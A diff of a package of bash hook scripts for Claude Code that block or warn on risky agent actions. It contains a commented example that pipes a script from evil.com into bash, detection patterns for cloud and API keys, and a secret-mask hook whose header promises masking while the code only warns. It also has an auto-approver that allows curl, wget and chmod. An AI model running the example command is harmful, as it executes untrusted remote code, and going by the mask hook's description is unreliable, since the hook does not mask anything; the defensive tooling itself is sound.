cc-safe-setup 29.5.0 → 29.6.1

package/examples/no-self-signed-cert.sh

@@ -0,0 +1,19 @@
+#!/bin/bash
+# no-self-signed-cert.sh — Warn when generating self-signed certificates
+#
+# Prevents: Self-signed certs being used in production.
+#           Claude sometimes generates certs for "testing" that stay.
+#
+# TRIGGER: PreToolUse
+# MATCHER: "Bash"
+
+INPUT=$(cat)
+COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
+[ -z "$COMMAND" ] && exit 0
+
+if echo "$COMMAND" | grep -qE 'openssl\s+req.*-x509|-newkey.*-nodes.*-keyout|mkcert'; then
+  echo "WARNING: Self-signed certificate generation detected." >&2
+  echo "  OK for development. Do NOT use in production." >&2
+fi
+
+exit 0

package/examples/no-star-import-python.sh

@@ -0,0 +1,28 @@
+#!/bin/bash
+# no-star-import-python.sh — Warn about `from module import *` in Python
+#
+# Prevents: Namespace pollution from wildcard imports.
+#           Makes it unclear where names come from.
+#
+# TRIGGER: PostToolUse
+# MATCHER: "Write|Edit"
+
+INPUT=$(cat)
+FILE=$(echo "$INPUT" | jq -r '.tool_input.file_path // empty' 2>/dev/null)
+[ -z "$FILE" ] && exit 0
+
+case "$FILE" in
+  *.py) ;;
+  *) exit 0 ;;
+esac
+
+[ ! -f "$FILE" ] && exit 0
+
+STARS=$(grep -nE '^from\s+\S+\s+import\s+\*' "$FILE" | head -3)
+if [ -n "$STARS" ]; then
+  echo "WARNING: Wildcard import found in $FILE:" >&2
+  echo "$STARS" | sed 's/^/  /' >&2
+  echo "  Use explicit imports instead." >&2
+fi
+
+exit 0

package/examples/no-wget-piped-bash.sh

@@ -0,0 +1,22 @@
+#!/bin/bash
+# no-wget-piped-bash.sh — Block curl/wget piped directly to bash
+#
+# Prevents: Arbitrary code execution from untrusted URLs.
+#           Pattern: curl https://evil.com/script.sh | bash
+#
+# TRIGGER: PreToolUse
+# MATCHER: "Bash"
+
+INPUT=$(cat)
+COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
+[ -z "$COMMAND" ] && exit 0
+
+# Detect curl/wget piped to sh/bash
+if echo "$COMMAND" | grep -qE '(curl|wget)\s.*\|\s*(bash|sh|zsh|source|eval)'; then
+  echo "BLOCKED: Piping remote script directly to shell is dangerous." >&2
+  echo "  Download first, review, then execute:" >&2
+  echo "  curl -o script.sh URL && cat script.sh && bash script.sh" >&2
+  exit 2
+fi
+
+exit 0

package/examples/node-version-check.sh

@@ -0,0 +1,40 @@
+#!/bin/bash
+# node-version-check.sh — Warn if Node.js version is too old
+#
+# Prevents: Mysterious failures from unsupported Node.js versions
+#           Claude Code requires Node.js 18+. Many npm packages
+#           also have minimum version requirements.
+#
+# TRIGGER: Notification
+# MATCHER: ""
+#
+# Usage:
+# {
+#   "hooks": {
+#     "Notification": [{
+#       "matcher": "",
+#       "hooks": [{ "type": "command", "command": "~/.claude/hooks/node-version-check.sh" }]
+#     }]
+#   }
+# }
+
+# Only run once per session
+MARKER="/tmp/cc-node-check-$$"
+[ -f "$MARKER" ] && exit 0
+
+NODE_VERSION=$(node --version 2>/dev/null | sed 's/^v//')
+if [ -z "$NODE_VERSION" ]; then
+  echo "WARNING: Node.js not found in PATH." >&2
+  touch "$MARKER"
+  exit 0
+fi
+
+MAJOR=$(echo "$NODE_VERSION" | cut -d. -f1)
+
+if [ "$MAJOR" -lt 18 ] 2>/dev/null; then
+  echo "WARNING: Node.js v${NODE_VERSION} detected. Claude Code requires v18+." >&2
+  echo "  Update: nvm install 20 && nvm use 20" >&2
+fi
+
+touch "$MARKER"
+exit 0

package/examples/npm-publish-guard.sh

@@ -1,10 +1,13 @@
 #!/bin/bash
 COMMAND=$(cat | jq -r '.tool_input.command // empty' 2>/dev/null)
 [ -z "$COMMAND" ] && exit 0
-if echo "$COMMAND" | grep -qE '^\s*npm\s+publish'; then
+if echo "$COMMAND" | grep -qE '^\s*(npm\s+publish|npx\s+npm\s+publish)' && ! echo "$COMMAND" | grep -qE '\-\-dry-run'; then
     if [ -f "package.json" ]; then
         VER=$(python3 -c "import json; print(json.load(open('package.json')).get('version','?'))" 2>/dev/null)
-        echo "NOTE: Publishing version $VER to npm." >&2
+        echo "BLOCKED: npm publish of version $VER requires manual confirmation." >&2
+    else
+        echo "BLOCKED: npm publish requires manual confirmation." >&2
     fi
+    exit 2
 fi
 exit 0

package/examples/output-secret-mask.sh

@@ -0,0 +1,49 @@
+#!/bin/bash
+# output-secret-mask.sh — Mask secrets in tool output before Claude sees them
+#
+# Solves: Commands like `env`, `printenv`, `cat .env` expose secrets in tool output.
+#         Claude then has secrets in its context window, increasing leak risk.
+#         This hook masks secret values in PostToolUse output.
+#
+# How it works: PostToolUse hook that scans tool output for secret patterns
+#               and replaces them with [MASKED]. The masked output is what
+#               Claude sees in its context.
+#
+# Note: This hook modifies the tool output that Claude receives.
+#       The actual command output is unchanged on disk/terminal.
+#
+# Usage: Add to settings.json as a PostToolUse hook
+#
+# {
+#   "hooks": {
+#     "PostToolUse": [{
+#       "matcher": "Bash",
+#       "hooks": [{ "type": "command", "command": "~/.claude/hooks/output-secret-mask.sh" }]
+#     }]
+#   }
+# }
+
+INPUT=$(cat)
+OUTPUT=$(echo "$INPUT" | jq -r '.tool_result.stdout // empty' 2>/dev/null)
+
+[ -z "$OUTPUT" ] && exit 0
+
+# Check if output contains secret-like patterns
+NEEDS_MASK=false
+
+# AWS keys
+echo "$OUTPUT" | grep -qE 'AKIA[0-9A-Z]{16}' && NEEDS_MASK=true
+# GitHub tokens
+echo "$OUTPUT" | grep -qE '(ghp_|gho_|ghs_|ghr_)[A-Za-z0-9_]{20,}' && NEEDS_MASK=true
+# OpenAI/Anthropic keys
+echo "$OUTPUT" | grep -qE 'sk-[A-Za-z0-9_-]{20,}' && NEEDS_MASK=true
+# Slack tokens
+echo "$OUTPUT" | grep -qE '(xoxb-|xoxp-)[0-9A-Za-z-]{20,}' && NEEDS_MASK=true
+# Generic secrets in env output (KEY=value pattern with high-entropy value)
+echo "$OUTPUT" | grep -qiE '(API_KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL|AUTH)=[^\s]{8,}' && NEEDS_MASK=true
+
+if [ "$NEEDS_MASK" = true ]; then
+    echo "WARNING: Tool output may contain secrets. Consider using environment variables instead of printing them." >&2
+fi
+
+exit 0

package/examples/output-token-env-check.sh

@@ -0,0 +1,44 @@
+#!/bin/bash
+# output-token-env-check.sh — Warn if max output tokens is not configured
+#
+# Solves: "Response exceeded 32000 output token maximum" error
+#         (#24055 — 80 reactions)
+#
+# Claude Code defaults to 32,000 max output tokens. For complex tasks,
+# this is often not enough. Setting CLAUDE_CODE_MAX_OUTPUT_TOKENS
+# prevents the error, but many users don't know about this env var.
+#
+# This hook checks on session start (Notification/Stop) and warns
+# if the env var is not set or is set to the default 32000.
+#
+# TRIGGER: Notification
+# MATCHER: ""
+#
+# Usage:
+# {
+#   "hooks": {
+#     "Notification": [{
+#       "matcher": "",
+#       "hooks": [{ "type": "command", "command": "~/.claude/hooks/output-token-env-check.sh" }]
+#     }]
+#   }
+# }
+
+# Only run once per session (check if we already warned)
+MARKER="/tmp/cc-output-token-warned-$$"
+[ -f "$MARKER" ] && exit 0
+
+MAX_TOKENS="${CLAUDE_CODE_MAX_OUTPUT_TOKENS:-}"
+
+if [ -z "$MAX_TOKENS" ]; then
+  echo "TIP: CLAUDE_CODE_MAX_OUTPUT_TOKENS is not set (default: 32,000)." >&2
+  echo "  For complex tasks, set it higher to avoid truncated responses:" >&2
+  echo "  export CLAUDE_CODE_MAX_OUTPUT_TOKENS=128000" >&2
+  touch "$MARKER"
+elif [ "$MAX_TOKENS" -le 32000 ] 2>/dev/null; then
+  echo "TIP: CLAUDE_CODE_MAX_OUTPUT_TOKENS=$MAX_TOKENS (low for complex tasks)." >&2
+  echo "  Consider: export CLAUDE_CODE_MAX_OUTPUT_TOKENS=128000" >&2
+  touch "$MARKER"
+fi
+
+exit 0

package/examples/package-lock-frozen.sh

@@ -0,0 +1,25 @@
+#!/bin/bash
+# package-lock-frozen.sh — Block modifications to lockfiles
+#
+# Prevents: Unintended lockfile changes that cause merge conflicts
+#           and dependency drift. Claude should use npm ci, not npm install.
+#
+# Blocks: Edit/Write to package-lock.json, yarn.lock, pnpm-lock.yaml
+#
+# TRIGGER: PreToolUse
+# MATCHER: "Edit|Write"
+
+INPUT=$(cat)
+FILE=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.filePath // empty' 2>/dev/null)
+[ -z "$FILE" ] && exit 0
+
+BASENAME=$(basename "$FILE")
+case "$BASENAME" in
+  package-lock.json|yarn.lock|pnpm-lock.yaml|Cargo.lock|poetry.lock|Gemfile.lock|composer.lock)
+    echo "BLOCKED: Direct modification of lockfile '$BASENAME'." >&2
+    echo "  Use the package manager to update dependencies instead." >&2
+    exit 2
+    ;;
+esac
+
+exit 0

package/examples/permission-audit-log.sh

@@ -0,0 +1,77 @@
+#!/bin/bash
+# permission-audit-log.sh — Log all tool invocations for permission debugging
+#
+# Solves: No way to know which commands trigger permission prompts vs auto-allow
+#         (#37153, #30519 58👍 partial)
+#         Users can't debug why certain commands prompt and others don't.
+#         This hook logs every tool call to help optimize permission rules.
+#
+# How it works: PostToolUse hook that appends every invocation to a JSONL log.
+#               Captures tool name, command/path, timestamp, and exit status.
+#               Companion script analyzes the log to suggest permission rules.
+#
+# Usage: Add to settings.json as a PostToolUse hook
+#
+# {
+#   "hooks": {
+#     "PostToolUse": [{
+#       "matcher": "",
+#       "hooks": [{ "type": "command", "command": "~/.claude/hooks/permission-audit-log.sh" }]
+#     }]
+#   }
+# }
+#
+# Analyze the log:
+#   cat ~/.claude/tool-usage.jsonl | jq -s 'group_by(.tool) | map({tool: .[0].tool, count: length}) | sort_by(-.count)'
+#   # Top commands:
+#   cat ~/.claude/tool-usage.jsonl | jq -s '[.[] | select(.tool=="Bash")] | group_by(.command | split(" ")[0]) | map({cmd: .[0].command | split(" ")[0], count: length}) | sort_by(-.count) | .[:20]'
+
+INPUT=$(cat)
+TOOL=$(echo "$INPUT" | jq -r '.tool_name // empty' 2>/dev/null)
+
+[ -z "$TOOL" ] && exit 0
+
+LOG_FILE="${CC_AUDIT_LOG:-$HOME/.claude/tool-usage.jsonl}"
+
+# Extract relevant info based on tool type
+case "$TOOL" in
+    Bash)
+        DETAIL=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
+        # Extract base command (first word)
+        BASE_CMD=$(echo "$DETAIL" | awk '{print $1}')
+        ;;
+    Write|Read)
+        DETAIL=$(echo "$INPUT" | jq -r '.tool_input.file_path // empty' 2>/dev/null)
+        BASE_CMD="$TOOL"
+        ;;
+    Edit)
+        DETAIL=$(echo "$INPUT" | jq -r '.tool_input.file_path // empty' 2>/dev/null)
+        BASE_CMD="Edit"
+        ;;
+    Glob|Grep)
+        DETAIL=$(echo "$INPUT" | jq -r '.tool_input.pattern // empty' 2>/dev/null)
+        BASE_CMD="$TOOL"
+        ;;
+    Agent)
+        DETAIL=$(echo "$INPUT" | jq -r '.tool_input.description // empty' 2>/dev/null)
+        BASE_CMD="Agent"
+        ;;
+    *)
+        DETAIL=""
+        BASE_CMD="$TOOL"
+        ;;
+esac
+
+# Build log entry
+TIMESTAMP=$(date -u +%Y-%m-%dT%H:%M:%SZ)
+
+# Append to JSONL log (atomic write via temp file)
+jq -n \
+    --arg ts "$TIMESTAMP" \
+    --arg tool "$TOOL" \
+    --arg cmd "$BASE_CMD" \
+    --arg detail "$DETAIL" \
+    '{timestamp: $ts, tool: $tool, base_command: $cmd, detail: $detail}' \
+    >> "$LOG_FILE" 2>/dev/null
+
+exit 0

package/examples/pip-venv-required.sh

@@ -0,0 +1,40 @@
+#!/bin/bash
+# pip-venv-required.sh — Block pip install outside of a virtual environment
+#
+# Prevents: System-wide pip install that can break the OS Python.
+#           Only allows pip install when a virtualenv is active.
+#
+# TRIGGER: PreToolUse
+# MATCHER: "Bash"
+#
+# Usage:
+# {
+#   "hooks": {
+#     "PreToolUse": [{
+#       "matcher": "Bash",
+#       "hooks": [{ "type": "command", "command": "~/.claude/hooks/pip-venv-required.sh" }]
+#     }]
+#   }
+# }
+
+INPUT=$(cat)
+COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
+[ -z "$COMMAND" ] && exit 0
+
+# Only check pip install commands
+echo "$COMMAND" | grep -qE '^\s*(pip|pip3)\s+install' || exit 0
+
+# Allow if -r requirements.txt (deterministic install)
+echo "$COMMAND" | grep -qE 'pip3?\s+install\s+-r' && exit 0
+
+# Allow if --user flag (user-level, not system)
+echo "$COMMAND" | grep -qE 'pip3?\s+install\s+.*--user' && exit 0
+
+# Check if virtualenv is active
+if [ -z "$VIRTUAL_ENV" ] && [ -z "$CONDA_DEFAULT_ENV" ]; then
+  echo "BLOCKED: pip install outside of virtual environment." >&2
+  echo "  Activate a venv first: python3 -m venv .venv && source .venv/bin/activate" >&2
+  exit 2
+fi
+
+exit 0

package/examples/port-conflict-check.sh

@@ -0,0 +1,62 @@
+#!/bin/bash
+# port-conflict-check.sh — Warn before starting a server on an occupied port
+#
+# Prevents: "EADDRINUSE" errors that confuse Claude into debugging
+#           phantom issues. Detects port conflicts before they happen.
+#
+# Detects: npm start, npm run dev, python -m http.server, node server.js,
+#          next dev, vite, etc.
+#
+# TRIGGER: PreToolUse
+# MATCHER: "Bash"
+#
+# Usage:
+# {
+#   "hooks": {
+#     "PreToolUse": [{
+#       "matcher": "Bash",
+#       "hooks": [{ "type": "command", "command": "~/.claude/hooks/port-conflict-check.sh" }]
+#     }]
+#   }
+# }
+
+INPUT=$(cat)
+COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
+[ -z "$COMMAND" ] && exit 0
+
+# Detect server-starting commands
+echo "$COMMAND" | grep -qiE '(npm\s+(start|run\s+dev)|npx\s+(next|vite|nuxt)|python.*http\.server|node\s+.*server|flask\s+run|uvicorn|gunicorn|rails\s+s)' || exit 0
+
+# Try to extract port from command
+PORT=""
+if echo "$COMMAND" | grep -qE '\-\-port[= ]+([0-9]+)'; then
+  PORT=$(echo "$COMMAND" | grep -oE '\-\-port[= ]+([0-9]+)' | grep -oE '[0-9]+')
+elif echo "$COMMAND" | grep -qE '\-p[= ]+([0-9]+)'; then
+  PORT=$(echo "$COMMAND" | grep -oE '\-p[= ]+([0-9]+)' | grep -oE '[0-9]+')
+fi
+
+# Common default ports
+if [ -z "$PORT" ]; then
+  if echo "$COMMAND" | grep -qiE 'next|vite|nuxt'; then PORT=3000
+  elif echo "$COMMAND" | grep -qiE 'flask|django'; then PORT=5000
+  elif echo "$COMMAND" | grep -qiE 'rails'; then PORT=3000
+  elif echo "$COMMAND" | grep -qiE 'http\.server'; then PORT=8000
+  else PORT=3000
+  fi
+fi
+
+# Check if port is in use
+if command -v ss >/dev/null 2>&1; then
+  if ss -tlnp 2>/dev/null | grep -q ":${PORT} "; then
+    PID=$(ss -tlnp 2>/dev/null | grep ":${PORT} " | grep -oP 'pid=\K[0-9]+' | head -1)
+    echo "WARNING: Port $PORT is already in use (PID: ${PID:-unknown})." >&2
+    echo "  Kill it: kill $PID  or use a different port." >&2
+  fi
+elif command -v lsof >/dev/null 2>&1; then
+  if lsof -i ":${PORT}" -sTCP:LISTEN >/dev/null 2>&1; then
+    echo "WARNING: Port $PORT is already in use." >&2
+    echo "  Check: lsof -i :$PORT" >&2
+  fi
+fi
+
+exit 0

package/examples/prefer-builtin-tools.sh

@@ -0,0 +1,33 @@
+#!/bin/bash
+# prefer-builtin-tools.sh — Deny bash commands that have dedicated built-in tool equivalents
+# PreToolUse hook (matcher: Bash)
+# Solves: https://github.com/anthropics/claude-code/issues/19649 (48+ reactions)
+#
+# Claude Code has built-in Read, Edit, Grep, Glob tools that are faster and safer
+# than bash equivalents. But Claude often reaches for sed, grep, cat instead.
+# This hook denies those commands with a pointer to the correct built-in tool.
+
+INPUT=$(cat)
+COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
+[ -z "$COMMAND" ] && exit 0
+
+# Check all segments of piped/chained commands
+while IFS= read -r segment; do
+  cmd=$(echo "$segment" | sed 's/^[[:space:]]*//' | sed 's/^[A-Za-z_][A-Za-z_0-9]*=[^ ]* //')
+  base=$(basename "$(echo "$cmd" | awk '{print $1}')" 2>/dev/null)
+  case "$base" in
+    cat)      msg="Use the Read tool to read files, or Write to create them" ;;
+    head|tail) msg="Use the Read tool with offset/limit parameters" ;;
+    sed)      msg="Use the Edit tool for modifications, or Read for viewing line ranges" ;;
+    awk)      msg="Use Read, Grep, or Edit tools instead" ;;
+    grep|rg)  msg="Use the built-in Grep tool (supports -A/-B/-C context, glob filters, output_mode)" ;;
+    find)     msg="Use the built-in Glob tool for file pattern matching" ;;
+    *)        continue ;;
+  esac
+  cat <<EOF
+{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"Do not use \`$base\`. $msg"}}
+EOF
+  exit 0
+done < <(echo "$COMMAND" | tr '|' '\n' | sed 's/[;&]\{1,2\}/\n/g')
+
+exit 0

package/examples/python-import-check.sh

@@ -0,0 +1,52 @@
+#!/bin/bash
+# python-import-check.sh — Detect unused imports in Python files
+#
+# Prevents: Unused imports that trigger linter warnings and add
+#           unnecessary dependencies. Claude often adds imports
+#           during development and forgets to clean up.
+#
+# TRIGGER: PostToolUse
+# MATCHER: "Write|Edit"
+
+INPUT=$(cat)
+FILE=$(echo "$INPUT" | jq -r '.tool_input.file_path // empty' 2>/dev/null)
+[ -z "$FILE" ] && exit 0
+
+case "$FILE" in
+  *.py) ;;
+  *) exit 0 ;;
+esac
+
+[ ! -f "$FILE" ] && exit 0
+
+# Quick check: find import lines and see if the imported name appears elsewhere
+python3 -c "
+import re, sys
+
+with open('$FILE') as f:
+    content = f.read()
+    lines = content.split('\n')
+
+imports = []
+for line in lines:
+    m = re.match(r'^import\s+(\w+)', line)
+    if m: imports.append(m.group(1))
+    m = re.match(r'^from\s+\S+\s+import\s+(.+)', line)
+    if m:
+        for name in m.group(1).split(','):
+            name = name.strip().split(' as ')[-1].strip()
+            if name and name != '*':
+                imports.append(name)
+
+unused = []
+for imp in imports:
+    # Count occurrences (excluding the import line itself)
+    count = len(re.findall(r'\b' + re.escape(imp) + r'\b', content))
+    if count <= 1:  # Only appears in the import line
+        unused.append(imp)
+
+if unused:
+    print(f'Possibly unused imports in $FILE: {', '.join(unused[:5])}', file=sys.stderr)
+" 2>&1
+
+exit 0

package/examples/python-ruff-on-edit.sh

@@ -0,0 +1,51 @@
+#!/bin/bash
+# python-ruff-on-edit.sh — Run ruff lint after editing Python files
+#
+# TRIGGER: PostToolUse
+# MATCHER: Edit
+#
+# Best with the v2.1.85 "if" field to avoid running on non-Python edits:
+#
+# {
+#   "hooks": {
+#     "PostToolUse": [{
+#       "matcher": "Edit",
+#       "hooks": [{
+#         "type": "command",
+#         "if": "Edit(*.py)",
+#         "command": "~/.claude/hooks/python-ruff-on-edit.sh"
+#       }]
+#     }]
+#   }
+# }
+#
+# Without "if", the hook runs after every Edit and checks internally.
+
+INPUT=$(cat)
+FILE=$(echo "$INPUT" | jq -r '.tool_input.file_path // empty' 2>/dev/null)
+
+# Skip non-Python files (redundant with "if" field, kept for backward compat)
+[[ "$FILE" != *.py ]] && exit 0
+[ ! -f "$FILE" ] && exit 0
+
+# Prefer ruff, fall back to flake8, then pylint
+if command -v ruff &>/dev/null; then
+    ISSUES=$(ruff check "$FILE" --quiet 2>/dev/null)
+elif command -v flake8 &>/dev/null; then
+    ISSUES=$(flake8 "$FILE" --max-line-length=120 2>/dev/null)
+elif command -v pylint &>/dev/null; then
+    ISSUES=$(pylint "$FILE" --errors-only --score=no 2>/dev/null)
+else
+    exit 0  # No linter available
+fi
+
+if [ -n "$ISSUES" ]; then
+    COUNT=$(echo "$ISSUES" | wc -l)
+    echo "⚠ Lint: $COUNT issue(s) in $(basename "$FILE")" >&2
+    echo "$ISSUES" | head -5 >&2
+    if [ "$COUNT" -gt 5 ]; then
+        echo "  ... and $((COUNT - 5)) more" >&2
+    fi
+fi
+
+exit 0

package/examples/quoted-flag-approver.sh

@@ -0,0 +1,51 @@
+#!/bin/bash
+# quoted-flag-approver.sh — Auto-approve commands with quoted flag values
+#
+# Solves: "Command contains quoted characters in flag names" false positives
+#         (#27957 — 70 reactions, breaks agentic workflows)
+#
+# After a Claude Code update, normal commands like:
+#   git commit -m "fix bug"
+#   bun run build --flag "value"
+# trigger a confirmation prompt even when they match allowlist patterns.
+#
+# This PermissionRequest hook auto-approves these prompts when:
+# 1. The base command is in a safe list
+# 2. The only "issue" is quoted characters in flag values
+#
+# TRIGGER: PermissionRequest
+# MATCHER: ""
+#
+# Usage:
+# {
+#   "hooks": {
+#     "PermissionRequest": [{
+#       "matcher": "",
+#       "hooks": [{ "type": "command", "command": "~/.claude/hooks/quoted-flag-approver.sh" }]
+#     }]
+#   }
+# }
+
+INPUT=$(cat)
+
+# Only handle "quoted characters in flag names" prompts
+MESSAGE=$(echo "$INPUT" | jq -r '.message // empty' 2>/dev/null)
+echo "$MESSAGE" | grep -qi "quoted characters in flag" || exit 0
+
+# Extract the command being checked
+COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty' 2>/dev/null)
+[ -z "$COMMAND" ] && exit 0
+
+# Safe base commands — customize for your project
+SAFE_COMMANDS="git|npm|npx|bun|yarn|pnpm|docker|make|cargo|go|pip|python3|node|tsc|eslint|prettier|jest|vitest|pytest|curl|wget|rsync|tar|zip|unzip|cp|mv|mkdir|cat|echo|grep|find|ls|chmod|sed|awk"
+
+# Extract base command (first word, ignoring env vars and path)
+BASE_CMD=$(echo "$COMMAND" | sed 's/^[A-Z_]*=[^ ]* //' | awk '{print $1}' | sed 's|.*/||')
+
+if echo "$BASE_CMD" | grep -qE "^($SAFE_COMMANDS)$"; then
+  echo '{"permissionDecision":"allow"}'
+  exit 0
+fi
+
+# Unknown command — let the prompt through
+exit 0

package/examples/react-key-warn.sh

@@ -0,0 +1,32 @@
+#!/bin/bash
+# react-key-warn.sh — Warn about missing key props in JSX lists
+#
+# Prevents: "Each child in a list should have a unique key prop" errors.
+#           Claude often generates .map() without key props.
+#
+# TRIGGER: PostToolUse
+# MATCHER: "Write|Edit"
+
+INPUT=$(cat)
+FILE=$(echo "$INPUT" | jq -r '.tool_input.file_path // empty' 2>/dev/null)
+[ -z "$FILE" ] && exit 0
+
+case "$FILE" in
+  *.jsx|*.tsx) ;;
+  *) exit 0 ;;
+esac
+
+[ ! -f "$FILE" ] && exit 0
+
+# Check for .map( without key= in the return
+if grep -qE '\.map\s*\(' "$FILE"; then
+  # Count map calls and key props
+  MAPS=$(grep -c '\.map\s*(' "$FILE" 2>/dev/null || echo 0)
+  KEYS=$(grep -c 'key=' "$FILE" 2>/dev/null || echo 0)
+  if [ "$MAPS" -gt "$KEYS" ]; then
+    echo "WARNING: $FILE has $MAPS .map() calls but only $KEYS key= props." >&2
+    echo "  Add key props to list items to avoid React warnings." >&2
+  fi
+fi
+
+exit 0